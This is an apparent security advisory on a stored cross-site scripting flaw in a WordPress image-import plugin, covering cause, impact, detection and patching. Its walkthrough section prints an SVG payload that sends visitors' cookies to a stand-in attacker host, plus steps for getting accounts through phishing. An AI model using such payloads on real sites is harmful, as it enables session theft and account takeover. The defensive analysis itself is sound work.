CVE-2025-14120: 
WordPress vulnerability analysis and mitigation

CVE-2025-14120 is a Stored Cross-Site Scripting (XSS) vulnerability in the URL Image Importer plugin for WordPress, affecting all versions up to and including 1.0.7. The flaw arises from insufficient sanitization of uploaded SVG files, allowing authenticated attackers with Author-level access or higher to inject arbitrary web scripts that execute when a user accesses the malicious SVG file. The vulnerability was published on January 6, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, NVD).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically due to the plugin's failure to properly sanitize SVG file content before storing and serving it. SVG files can embed arbitrary JavaScript within XML elements (e.g., <script> tags or event handlers), and the plugin at line 176 of url-image-importer.php does not strip or encode these payloads prior to saving the file to the server. An attacker with at least Author-level WordPress credentials can upload a crafted SVG file; the malicious script then executes in the browser of any user who subsequently accesses or views the file. The attack vector is network-based, requires low privileges, low complexity, and no user interaction beyond the victim accessing the SVG (Wordfence, NVD).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, affecting all site visitors who access the SVG file. The impact includes limited confidentiality exposure (e.g., session token theft, credential harvesting) and integrity compromise (e.g., page defacement, redirection to malicious sites), with no direct availability impact. Because the scope is changed (S:C in CVSS), the injected scripts can affect users' browsers beyond the plugin's own context, potentially enabling account takeover of site visitors or administrators (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14120 as of the available data. The EPSS score is approximately 0.03%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Author-level WordPress credentials, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Obtain Author-level credentials: Gain access to a WordPress account with at least Author privileges on the target site (e.g., via phishing, credential stuffing, or social engineering).
2. Craft a malicious SVG file: Create an SVG file containing embedded JavaScript, such as:

   <svg xmlns="http://www.w3.org/2000/svg">
     <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>
   </svg>

3. Upload via URL Image Importer: Use the plugin's import functionality to upload or import the crafted SVG file to the WordPress media library.
4. Embed or link the SVG: Insert the uploaded SVG into a post, page, or widget so that site visitors will access it.
5. Harvest results: When any user (including administrators) accesses the page or SVG file, the embedded script executes in their browser, potentially stealing session cookies or performing other malicious actions (Wordfence).

• File System: Presence of SVG files in the WordPress uploads directory containing <script> tags, javascript: URIs, or event handler attributes (e.g., onload, onerror) within the SVG XML structure.
• Logs: WordPress access logs showing POST requests to the URL Image Importer upload/import endpoint by Author-level or higher accounts, particularly with SVG MIME types.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after accessing pages containing SVG files uploaded via the plugin (indicative of data exfiltration payloads).
• Application: Unexpected SVG files appearing in the media library uploaded by non-administrative users, especially those with embedded XML script content.

WordPress site administrators should update the URL Image Importer plugin to version 1.0.8 or later, which includes proper SVG sanitization (Wordfence). As an interim workaround, restrict Author-level and above users from uploading SVG files, or disable the URL Image Importer plugin entirely until the patch is applied. Additionally, deploying a WordPress security plugin (such as Wordfence) with a firewall rule to block malicious SVG uploads can provide an additional layer of defense.

The vulnerability was discovered and reported by Wordfence, which published the advisory and coordinated disclosure. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified for this vulnerability, consistent with its medium severity and limited exploitability scope.